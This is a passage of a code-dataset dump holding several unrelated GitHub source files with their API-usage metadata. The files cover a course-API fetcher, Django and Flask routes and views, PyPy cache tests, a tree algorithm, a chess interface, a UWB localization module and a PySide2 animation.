{"api_name": "cv2.cvtColor", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_PLAIN", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 43, "usage_type": "call"}]} {"seq_id": "39232272142", "text": "import requests\nimport json\n## calling API\nsaral_data=requests.get(\"http://saral.navgurukul.org/api/courses\")\ndata=saral_data.json()\n#### pushing data in json file\nwith open(\"saral_data.json\",\"w\") as f:\n json.dump(data,f,indent=4)\n\ndef meraki_course(): \n ### this loop for coures name and id \n serial_number=1\n for index_1 in data[\"availableCourses\"]:\n print(serial_number,index_1[\"name\"],\":\",index_1[\"id\"])\n serial_number+=1\nmeraki_course() \n \n#### user input for which course you like to do\nuser_choose_course=int(input(\"enter the course number: \"))-1\nprint(data[\"availableCourses\"][user_choose_course][\"name\"])\nuser=input(\"do you want to previous \").lower()\nif user==\"p\":\n meraki_course()\n###this link for parents data\nparents_data=requests.get(\"http://saral.navgurukul.org/api/courses/\"+data[\"availableCourses\"][user_choose_course-1][\"id\"]+\" \"+\"/exercises\")\nparents_Data1=parents_data.json()\n## dump parents data in json file XXXX\nwith open(\"parents_data.json\",\"w\") as fl:\n json.dump(parents_Data1,fl,indent=2)\n\ndef saral_data(): \n#####parents(child)\n serialNum=1\n print(\"slu\",parents_Data1[\"data\"][1][\"slug\"])\n child_Data=parents_Data1[\"data\"]\n for index_2 in child_Data:\n print(serialNum,index_2[\"name\"])\n serialNum+=1\n if index_2[\"childExercises\"]==[]:\n print(\" \",index_2[\"slug\"])\n else:\n serialNum2=1 \n Child=index_2[\"childExercises\"]\n for index_3 in Child:\n print(\" \",serialNum2,index_3[\"name\"])\n serialNum2+=1\n\n\n\n\n\n\n\n\n\n\n\n\n\n# saral_data()\n# slug=int(input(\"enter the number of parents:\"))\n# print(parents_Data1[\"data\"][slug-1][\"name\"])\n\n# user_choose_course=int(input(\"enter the course number: \"))-1\n# print(data[\"availableCourses\"][user_choose_course][\"name\"])\n# Number1=input(\"do you want to previous or next\").lower()\n# if Number1==\"p\":\n# print(\" \")\n\n# saral_data()\n\n# slug_content=[]\n# no=0\n# list=[]\n# for child in range(len(parents_Data1[\"data\"])):\n# no=+1\n# serial_no=1\n# if parents_Data1[\"data\"][child][\"childExercises\"]==list:\n# serial_no += 1\n\n# Serial_Number=1\n# for Question in range(len(parents_Data1[\"data\"][slug-1][\"childExercises\"])):\n# if parents_Data1[\"data\"][child][\"childExercises\"] == list:\n# print(\" \",Serial_Number,\".\",parents_Data1[\"data\"][slug-1][\"chilExercises\"][Question][\"name\"])\n# slug1 = parents_Data1[\"data\"][slug-1][\"chilExercises\"][Question][\"slug\"]\n# parent = parents_Data1[\"data\"][slug-1][\"chilExercises\"][Question][\"id\"]\n# slug2 = requests.get(\"http://saral.navgurukul.org/api/courses/\"+parent+\"/exercise/getBySlug?slug=\"+slug)\n\n# slug3 = slug2.json()\n# slug_content.append(slug3[\"content\"])\n# Serial_Number += 1\n\n \n# user_choose_course=int(input(\"enter the course number: \"))\n# Data=parents_Data[\"data\"][user_choose_course-1][\"childExercises\"]\n# serial_Number=1\n# for index_4 in Data:\n# print(\" \",serial_Number,index_4[\"name\"])\n# serial_Number+=1\n# slug\n# slugInput=int(input(\"which question you want to see\"))-1\n# slugId=Child[slugInput][\"id\"]\n# childSlugName=Child[slugInput][\"slug\"] \n# slug_data=requests.get(\"http://saral.navgurukul.org/api/courses/\"+slugId+\"/exercise/getBySlug?slug=\"+str(childSlugName))\n# data5=slug_data.json()\n# with open(\"slug_data\",\"w\") as File:\n# json.dump(data5,File,indent=4)\n# print(data5[\"content\"])\n\n", "repo_name": "Nehajha99/Python", "sub_path": "PythonRequest/function.py", "file_name": "function.py", "file_ext": "py", "file_size_in_byte": 3558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 4, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 29, "usage_type": "call"}]} {"seq_id": "24326083548", "text": "from django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n path('', views.leadership, name='leadership'),\n path('mgt_training', views.schoolMgt, name='mgt_training'),\n path('itAndAuto', views.itAndAuto, name='itAndAuto'),\n path('literacy', views.financialLiteracy, name='literacy'),\n path('capacity', views.capacityBuilding, name='capacity'),\n]\n", "repo_name": "josefk-eng/csoa", "sub_path": "training/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}]} {"seq_id": "8714114542", "text": "from pypy.conftest import gettestobjspace\nfrom pypy.objspace.std.test.test_typeobject import AppTestTypeObject\n\n\nclass AppTestMethodCaching(AppTestTypeObject):\n def setup_class(cls):\n cls.space = gettestobjspace(\n **{\"objspace.std.withmethodcachecounter\": True})\n\n def test_mix_classes(self):\n import __pypy__\n class A(object):\n def f(self):\n return 42\n class B(object):\n def f(self):\n return 43\n class C(object):\n def f(self):\n return 44\n l = [A(), B(), C()] * 10\n __pypy__.reset_method_cache_counter()\n for i, a in enumerate(l):\n assert a.f() == 42 + i % 3\n cache_counter = __pypy__.method_cache_counter(\"f\")\n assert cache_counter[0] >= 15\n assert cache_counter[1] >= 3 # should be (27, 3)\n assert sum(cache_counter) == 30\n\n def test_class_that_cannot_be_cached(self):\n import __pypy__\n class X:\n pass\n class Y(object):\n pass\n class A(Y, X):\n def f(self):\n return 42\n\n class B(object):\n def f(self):\n return 43\n class C(object):\n def f(self):\n return 44\n l = [A(), B(), C()] * 10\n __pypy__.reset_method_cache_counter()\n for i, a in enumerate(l):\n assert a.f() == 42 + i % 3\n cache_counter = __pypy__.method_cache_counter(\"f\")\n assert cache_counter[0] >= 9\n assert cache_counter[1] >= 2 # should be (18, 2)\n assert sum(cache_counter) == 20\n \n def test_change_methods(self):\n import __pypy__\n class A(object):\n def f(self):\n return 42\n l = [A()] * 10\n __pypy__.reset_method_cache_counter()\n for i, a in enumerate(l):\n assert a.f() == 42 + i\n A.f = eval(\"lambda self: %s\" % (42 + i + 1, ))\n cache_counter = __pypy__.method_cache_counter(\"f\")\n # the cache hits come from A.f = ..., which first does a lookup on A as\n # well\n assert cache_counter == (17, 3)\n\n def test_subclasses(self):\n import __pypy__\n class A(object):\n def f(self):\n return 42\n class B(object):\n def f(self):\n return 43\n class C(A):\n pass\n l = [A(), B(), C()] * 10\n __pypy__.reset_method_cache_counter()\n for i, a in enumerate(l):\n assert a.f() == 42 + (i % 3 == 1)\n cache_counter = __pypy__.method_cache_counter(\"f\")\n assert cache_counter[0] >= 15\n assert cache_counter[1] >= 3 # should be (27, 3)\n assert sum(cache_counter) == 30\n \n def test_many_names(self):\n import __pypy__\n for j in range(20):\n class A(object):\n foo = 5\n bar = 6\n baz = 7\n xyz = 8\n stuff = 9\n a = 10\n foobar = 11\n\n a = A()\n names = [name for name in A.__dict__.keys()\n if not name.startswith('_')]\n names.sort()\n names_repeated = names * 10\n result = []\n __pypy__.reset_method_cache_counter()\n for name in names_repeated:\n result.append(getattr(a, name))\n append_counter = __pypy__.method_cache_counter(\"append\")\n names_counters = [__pypy__.method_cache_counter(name)\n for name in names]\n try:\n assert append_counter[0] >= 10 * len(names) - 1\n for name, count in zip(names, names_counters):\n assert count == (9, 1), str((name, count))\n break\n except AssertionError:\n pass\n else:\n raise\n\n def test_mutating_bases(self):\n class C(object):\n pass\n class C2(object):\n foo = 5\n class D(C):\n pass\n class E(D):\n pass\n d = D()\n e = E()\n D.__bases__ = (C2,)\n assert e.foo == 5\n\n class F(object):\n foo = 3\n D.__bases__ = (C, F)\n assert e.foo == 3\n\n def test_custom_metaclass(self):\n import __pypy__\n for j in range(20):\n class MetaA(type):\n def __getattribute__(self, x):\n return 1\n def f(self):\n return 42\n A = type.__new__(MetaA, \"A\", (), {\"f\": f})\n l = [type.__getattribute__(A, \"__new__\")(A)] * 10\n __pypy__.reset_method_cache_counter()\n for i, a in enumerate(l):\n assert a.f() == 42\n cache_counter = __pypy__.method_cache_counter(\"f\")\n assert sum(cache_counter) == 10\n if cache_counter == (9, 1):\n break\n #else the moon is misaligned, try again\n else:\n raise AssertionError(\"cache_counter = %r\" % (cache_counter,))\n\n def test_mutate_class(self):\n import __pypy__\n class A(object):\n x = 1\n y = 2\n __pypy__.reset_method_cache_counter()\n a = A()\n for i in range(100):\n assert a.y == 2\n assert a.x == i + 1\n A.x += 1\n cache_counter = __pypy__.method_cache_counter(\"x\")\n assert cache_counter[0] >= 350\n assert cache_counter[1] >= 1\n assert sum(cache_counter) == 400\n\n __pypy__.reset_method_cache_counter()\n a = A()\n for i in range(100):\n assert a.y == 2\n setattr(a, \"a%s\" % i, i)\n cache_counter = __pypy__.method_cache_counter(\"x\")\n assert cache_counter[0] == 0 # 0 hits, because all the attributes are new\n\n def test_get_module_from_namedtuple(self):\n # this used to crash\n from collections import namedtuple\n assert namedtuple(\"a\", \"b\").__module__\n", "repo_name": "MichaelBlume/pypy", "sub_path": "pypy/objspace/std/test/test_methodcache.py", "file_name": "test_methodcache.py", "file_ext": "py", "file_size_in_byte": 6024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pypy.objspace.std.test.test_typeobject.AppTestTypeObject", "line_number": 5, "usage_type": "name"}, {"api_name": "pypy.conftest.gettestobjspace", "line_number": 7, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 22, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 25, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 47, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 50, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 61, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 65, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 81, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 84, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 107, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 110, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 111, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 152, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 155, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 168, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 174, "usage_type": "call"}, {"api_name": "__pypy__.reset_method_cache_counter", "line_number": 179, "usage_type": "call"}, {"api_name": "__pypy__.method_cache_counter", "line_number": 184, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 190, "usage_type": "call"}]} {"seq_id": "17035524501", "text": "#!/usr/bin/env python\n# author = 'ZZH'\n# time = 2021/11/23\n# project = 剑指offerII45\n# Definition for a binary tree node.\nfrom collections import deque\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def findBottomLeftValue(self, root: TreeNode) -> int:\n ret = 0\n nodes = deque()\n nodes.append(root)\n while nodes:\n size = len(nodes)\n for i in range(size):\n node = nodes.popleft()\n if i == 0:\n ret = node.val\n if node.left:\n nodes.append(node.left)\n if node.right:\n nodes.append(node.right)\n return ret\n", "repo_name": "ZZHbible/leetcode", "sub_path": "剑指offerII45.py", "file_name": "剑指offerII45.py", "file_ext": "py", "file_size_in_byte": 799, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 19, "usage_type": "call"}]} {"seq_id": "28717538140", "text": "import time\nimport rich\n\nfrom minimax import minimax\nimport board\nfrom legal_moves_list import all_legal_moves\n\ndef player_vs_computer(player_w, player_b, depth):\n current_depth = depth\n while True:\n if (board.main_board.who_to_move == 1 and player_w == 'computer') or (board.main_board.who_to_move == 0 and player_b == 'computer'):\n start_time = time.perf_counter()\n computer_move = minimax(board.main_board, board.main_board.who_to_move, (-9999, None), (9999, None), current_depth)\n end_time = time.perf_counter()\n\n print(f\"Computer: {computer_move[1]}, calculated in {end_time - start_time} seconds. Evaluation = {computer_move[0]} at depth {current_depth}\")\n board.main_board.move(computer_move[1])\n\n else:\n legal_move_found = False\n while legal_move_found == False:\n player_move = input_move(board.main_board.who_to_move)\n\n if player_move == None:\n continue\n\n if player_move.startswith(\"depth=\"):\n current_depth = int(player_move[6:])\n print(f\"Depth has successfully changed to {current_depth}\")\n continue\n\n board.main_board.move(player_move)\n legal_move_found = True\n\n rich.print(f\"\\nPosition: \\n{pos_to_cli_board(board.main_board)} \\n\")\n \n \ndef input_move(player):\n player_move = input(\"Player: \")\n\n if player_move.startswith(\"depth=\"):\n return player_move\n\n for move in all_legal_moves(board.main_board, player):\n if move == player_move:\n return move\n\n print(\"That's not a legal move!\")\n return None\n\ndef pos_to_cli_board(board):\n unicode_pieces = {\n \"black rook\": \"♖\",\n \"black knight\": \"♘\",\n \"black bishop\": \"♗\",\n \"black king\": \"♔\",\n \"black queen\": \"♕\",\n \"black pawn\": \"♙\",\n \"white rook\": \"♜\",\n \"white knight\": \"♞\",\n \"white bishop\": \"♝\",\n \"white king\": \"♚\",\n \"white queen\": \"♛\",\n \"white pawn\": \"♟︎\"\n }\n\n final_text = \"\"\n\n for y in reversed(range(8)):\n for x in range(8):\n bg_color = f\"{'#f0d9b5' if (x + y) % 2 else '#b58863'}\"\n broken_off = False\n for piece in board.pieces:\n if piece.x == x and piece.y == y:\n char = unicode_pieces[f\"white {piece.__class__.__name__.lower()}\"]\n piece_color = 'red' if piece.color == 1 else 'blue'\n final_text += f\"[{piece_color} on {bg_color}] {char} [/{piece_color} on {bg_color}]\"\n broken_off = True\n break\n if not broken_off:\n final_text += f\"[white on {bg_color}] [/white on {bg_color}]\"\n final_text += '\\n'\n\n return final_text\n", "repo_name": "itscountvertigo/SeroChess", "sub_path": "src/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 2895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "board.main_board", "line_number": 11, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 12, "usage_type": "call"}, {"api_name": "minimax.minimax", "line_number": 13, "usage_type": "call"}, {"api_name": "board.main_board", "line_number": 13, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 14, "usage_type": "call"}, {"api_name": "board.main_board.move", "line_number": 17, "usage_type": "call"}, {"api_name": "board.main_board", "line_number": 17, "usage_type": "attribute"}, {"api_name": "board.main_board", "line_number": 22, "usage_type": "attribute"}, {"api_name": "board.main_board.move", "line_number": 32, "usage_type": "call"}, {"api_name": "board.main_board", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rich.print", "line_number": 35, "usage_type": "call"}, {"api_name": "board.main_board", "line_number": 35, "usage_type": "attribute"}, {"api_name": "legal_moves_list.all_legal_moves", "line_number": 44, "usage_type": "call"}, {"api_name": "board.main_board", "line_number": 44, "usage_type": "attribute"}, {"api_name": "board.pieces", "line_number": 73, "usage_type": "attribute"}]} {"seq_id": "8368842222", "text": "import numpy as np\nimport serial, time, datetime\nimport threading\nimport traceback\nimport math\nimport pickle\n\nclass UWBManager():\n\n def __init__(self):\n\n self.serial_port_ = serial.Serial(\"/dev/ttyUSB0\", 115200)\n self.tag_data = None\n self.active_flag_ = False\n\n self.serial_port_.flush()\n \n def updateSensorData(self):\n while self.active_flag_:\n if self.serial_port_.is_open:\n raw_data = self.serial_port_.readline()\n if len(raw_data) == 16: # data length should be 16 bytes\n self.tag_data = self.processRawData(raw_data)\n # print(\"distace: {} distance: {} distance: {} \".format(self.tag_distance[0], self.tag_distance[1], self.tag_distance[2]))\n \n def processRawData(self, raw_data) -> list:\n distance_data = [0, 0, 0, 0] \n distance_data[0] = self.stitchup(raw_data[8], raw_data[7]) # anchor0 to tag\n distance_data[1] = self.stitchup(raw_data[10], raw_data[9]) # anchor1 to tag\n distance_data[2] = self.stitchup(raw_data[12], raw_data[11]) # anchor2 to tag\n if raw_data[4] == 0x0f:\n distance_data[3] = 0 # Master Tag ID\n else:\n distance_data[3] = raw_data[4] # Slave Tag ID\n return distance_data\n\n def stitchup(self, high_byte, low_byte):\n return float((high_byte * 256 + low_byte) / 100)\n \n def getUWBDistance(self) -> list:\n return self.tag_data\n \n def startFetchDistance(self):\n self.active_flag_ = True\n self.thread_update_data= threading.Thread(\n target=self.updateSensorData,\n daemon= True\n )\n self.thread_update_data.start()\n\n def closeUWBPort(self):\n self.active_flag_ = False\n self.serial_port_.close()\n if not self.serial_port_.is_open:\n print(\"UWB port closed complete\")\n\nclass UWBLocalizationSystem():\n\n def __init__(self):\n self.uwb_manager_ = UWBManager()\n self.uwb_is_active_ = False\n\n self.tag_data = None\n self.anchor_pos_list = list() # max 4 anchor pos\n self.save_pos_x = list()\n self.save_pos_y = list()\n self.time_out_count = 0\n self.MAX_ANCHOR_NUM = 4\n self.TIME_OUT_COUNT = 200\n self.activateUWBManager()\n \n def activateUWBManager(self):\n self.uwb_manager_.startFetchDistance()\n self.uwb_is_active_ = True\n\n def caculateTagPosition(self):\n tag_data = self.uwb_manager_.getUWBDistance()\n if tag_data is None:\n return False\n if not any(tag_data) == 0:\n self.processMLE(tag_data)\n return True\n \n def processMLE(self, tag_dis):\n A = np.array([[2 * (self.anchor_pos_list[0][0] - self.anchor_pos_list[-1][0]),2 * (self.anchor_pos_list[0][1] - self.anchor_pos_list[-1][1])],\n [2 * (self.anchor_pos_list[1][0] - self.anchor_pos_list[-1][0]),2 * (self.anchor_pos_list[1][1] - self.anchor_pos_list[-1][1])]])\n b = np.array([[pow(self.anchor_pos_list[0][0],2) - pow(self.anchor_pos_list[-1][0],2) + pow(self.anchor_pos_list[0][1],2) - pow(self.anchor_pos_list[-1][1],2) + pow(tag_dis[2],2) - pow(tag_dis[0],2)],\n [pow(self.anchor_pos_list[1][0],2) - pow(self.anchor_pos_list[-1][0],2) + pow(self.anchor_pos_list[1][1],2) - pow(self.anchor_pos_list[-1][1],2) + pow(tag_dis[2],2) - pow(tag_dis[1],2)]])\n temp_X = np.dot(np.linalg.inv(np.dot(A.T,A)),A.T) \n X = np.dot(temp_X, b)\n self.tag_data = [X.T[0,0], X.T[0,1], tag_dis[3]]\n print(\"tag X: {} Y: {} ID: {}\".format(self.tag_data[0], self.tag_data[1], self.tag_data[2]))\n # For Data Collect \n # self.save_pos_x.append(self.tag_data[0])\n # self.save_pos_y.append(self.tag_data[1])\n\n def setAanchorPos(self, anchor_x, anchor_y):\n if len(self.anchor_pos_list) < self.MAX_ANCHOR_NUM:\n anchor_pos = [0, 0]\n anchor_pos[0] = anchor_x\n anchor_pos[1] = anchor_y\n self.anchor_pos_list.append(anchor_pos)\n else:\n print(\"Anchor pos num out of range\")\n\n def getTagPosition(self):\n if self.tag_data is not None:\n return self.tag_data\n else:\n self.tag_data = [0, 0, 0]\n return self.tag_data\n \n def processLoop(self):\n while not self.stop_localize_thread_:\n connect_ok = self.caculateTagPosition()\n if not connect_ok:\n self.checkTimeOut()\n time.sleep(0.01)\n \n def checkTimeOut(self):\n self.time_out_count += 1\n if self.time_out_count == self.TIME_OUT_COUNT:\n self.closeSystem()\n print(\" UWB Master Connection Lost \")\n\n \n def startLocalizeTag(self):\n if self.uwb_is_active_:\n self.setAanchorPos(0,0) # anchor 0\n self.setAanchorPos(-0.5, 3.65) # anchor 1\n self.setAanchorPos(-4.34, 1.13) # anchor 2\n self.stop_localize_thread_ = False\n self.track_data_thread = threading.Thread(\n target=self.processLoop,\n daemon=True\n )\n self.track_data_thread.start()\n else:\n print(\"UWB sensor is not activate\")\n \n def saveData(self):\n fileName = datetime.datetime.now().strftime(\"%Y-%m-%d_%H%M%S\")\n fileName = './data/' + fileName\n with open(fileName + \".x_posdata\", 'wb+') as f:\n pickle.dump(self.save_pos_x,f)\n with open(fileName + \".y_posdata\", 'wb+') as f:\n pickle.dump(self.save_pos_y,f)\n\n \n\n def closeSystem(self):\n self.stop_localize_thread_ = True\n self.uwb_manager_.closeUWBPort()\n \n\n \n\nif __name__ == \"__main__\":\n\n manager = UWBLocalizationSystem()\n manager.startLocalizeTag()\n while True:\n try:\n cmd = input(\"CMD: \")\n if cmd == \"q\":\n manager.saveData()\n break\n except Exception as e:\n traceback.print_exc()\n break\n \n manager.closeSystem()\n\n \n", "repo_name": "morrisx28/UWB_localization_system", "sub_path": "uwb_manager.py", "file_name": "uwb_manager.py", "file_ext": "py", "file_size_in_byte": 6131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "serial.Serial", "line_number": 12, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 90, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 118, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 133, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 142, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 142, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 145, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 147, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 169, "usage_type": "call"}]} {"seq_id": "11958932425", "text": "from flask.helpers import url_for\nfrom werkzeug.utils import redirect\nfrom . import auth\nfrom flask import render_template, request, flash\nfrom .forms import LoginForm, RegisterStudentForm, RegisterTeacherForm\nfrom flask_login import login_user, current_user, logout_user, login_required\n\n@auth.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n\n if request.method == 'POST':\n user = form.validateUser()\n if type(user) == str:\n flash(user)\n else:\n login_user(user)\n flash('Bienvenido '+current_user.user_name)\n return redirect(url_for('main.home'))\n \n return render_template('auth/login.html', form=form)\n\n@auth.route('/register_student', methods=['GET', 'POST'])\ndef registerStudent():\n form = RegisterStudentForm()\n\n if request.method == 'POST':\n user_valid = form.validateIdentifier()\n if type(user_valid) == str:\n flash(user_valid)\n return redirect(url_for('auth.login'))\n elif user_valid == False:\n flash('Usuario ya existente.')\n return redirect(url_for('auth.register'))\n else:\n flash('Identificador no válido.')\n return redirect(url_for('auth.register'))\n \n return render_template('auth/registerStudent.html', form=form)\n\n@auth.route('/register_teacher', methods=['GET', 'POST'])\ndef registerTeacher():\n form = RegisterTeacherForm()\n\n if request.method == 'POST':\n user_valid = form.registerUser()\n if type(user_valid) == str:\n flash(user_valid)\n return redirect(url_for('auth.login'))\n elif user_valid == False:\n flash('Usuario ya existente.')\n return redirect(url_for('auth.register'))\n \n return render_template('auth/registerTeacher.html', form=form)\n\n@auth.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(url_for('auth.login'))", "repo_name": "Luisgc98/codeapp", "sub_path": "app/auth/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "forms.LoginForm", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 15, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 18, "usage_type": "call"}, {"api_name": "flask_login.current_user.user_name", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 18, "usage_type": "name"}, {"api_name": "werkzeug.utils.redirect", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "forms.RegisterStudentForm", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 30, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 33, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 36, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 39, "usage_type": "call"}, {"api_name": "forms.RegisterTeacherForm", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 48, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 51, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 54, "usage_type": "call"}, {"api_name": "flask_login.logout_user", "line_number": 59, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.helpers.url_for", "line_number": 60, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 57, "usage_type": "name"}]} {"seq_id": "72818943613", "text": "from PySide2 import QtCore, QtWidgets\n\n# https://code.qt.io/cgit/qt/qtbase.git/tree/src/widgets/kernel/qwidget.h#n873\nQWIDGETSIZE_MAX = (1 << 24) - 1\n\nclass MyWidget(QtWidgets.QWidget):\n def __init__(self):\n super(MyWidget, self).__init__()\n self.m_deltaX = 0\n self.btn = QtWidgets.QPushButton(\n \">\", checkable=True, clicked=self.closeOpenEditor\n )\n self.btn.setFixedSize(QtCore.QSize(25, 25))\n\n self.text1 = QtWidgets.QTextEdit()\n self.text1.setText(\"some sample text\")\n\n self.text2 = QtWidgets.QTextEdit()\n\n layout_btn = QtWidgets.QVBoxLayout()\n layout_btn.addWidget(self.btn)\n\n lay = QtWidgets.QHBoxLayout(self)\n lay.addWidget(self.text1, 10)\n lay.addSpacing(15)\n lay.addLayout(layout_btn)\n lay.setSpacing(0)\n lay.addWidget(self.text2, 4)\n\n self.resize(800, 500)\n\n self.m_animation = QtCore.QPropertyAnimation(\n self.text2, b\"maximumWidth\", parent=self, duration=250\n )\n\n def closeOpenEditor(self):\n if self.btn.isChecked():\n self.text2.setMaximumWidth(self.text2.width())\n text2Start = int(self.text2.maximumWidth())\n self.m_deltaX = text2Start\n text2End = 3\n self.m_animation.setStartValue(text2Start)\n self.m_animation.setEndValue(text2End)\n self.btn.setText(\"<\")\n else:\n text2Start = int(self.text2.maximumWidth())\n text2End = self.m_deltaX\n self.m_animation.setStartValue(text2Start)\n self.m_animation.setEndValue(text2End)\n self.btn.setText(\">\")\n\n self.m_animation.start()\n\n def resizeEvent(self, event: \"QResizeEvent\"):\n if not self.btn.isChecked():\n self.text2.setMaximumWidth(QWIDGETSIZE_MAX)\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QtWidgets.QApplication(sys.argv)\n w = MyWidget()\n w.show()\n sys.exit(app.exec_())", "repo_name": "xmoner/BILEK-STUDIO", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1985, "program_lang": "python", 